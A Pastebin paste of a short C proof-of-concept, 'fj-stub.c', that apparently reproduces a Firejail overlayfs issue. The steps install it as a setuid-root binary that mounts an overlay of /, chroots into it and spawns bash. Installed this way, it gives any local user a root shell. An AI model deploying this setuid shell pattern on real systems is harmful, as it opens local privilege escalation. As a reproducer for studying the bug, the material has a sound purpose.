Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- * fj-stub.c
- *
- * PUBLIC DOMAIN
- *
- * Create folders first:
- sudo mkdir /tmp/firejail
- sudo mkdir /tmp/firejail/mnt/oroot
- sudo mkdir /tmp/firejail/mnt/odiff
- sudo mkdir /tmp/firejail/mnt/owork
- * Compile:
- gcc fj-stub.c -o fj-stub
- sudo chown root fj-stub
- sudo chgrp root fj-stub
- sudo chmod u+s fj-stub
- * Confirm issue:
- ./fj-stub
- ls -la /home
- * NOTE: if /home is nosuid then copy the binary before chmod/confirm
- */
- #include <stdio.h>
- #include <stdlib.h>
- #include <sys/mount.h>
- #include <errno.h>
- #include <unistd.h>
- int main(int argc, char **argv) {
- if (setreuid(-1,0)<0){
- fprintf(stderr, "Error: Unable to setuid root %i\n",errno);
- return -1;
- }
- if (mount("overlay", "/tmp/firejail/mnt/oroot/", "overlay", MS_MGC_VAL, "lowerdir=/,upperdir=/tmp/firejail/mnt/odiff/,workdir=/tmp/firejail/mnt/owork/") < 0){
- printf("Failed overlay: %i\n",errno);
- return -1;
- }
- if (chroot("/tmp/firejail/mnt/oroot/") == -1){
- printf("Failed chroot: %i\n",errno);
- return -1;
- }
- system("/usr/bin/bash");
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment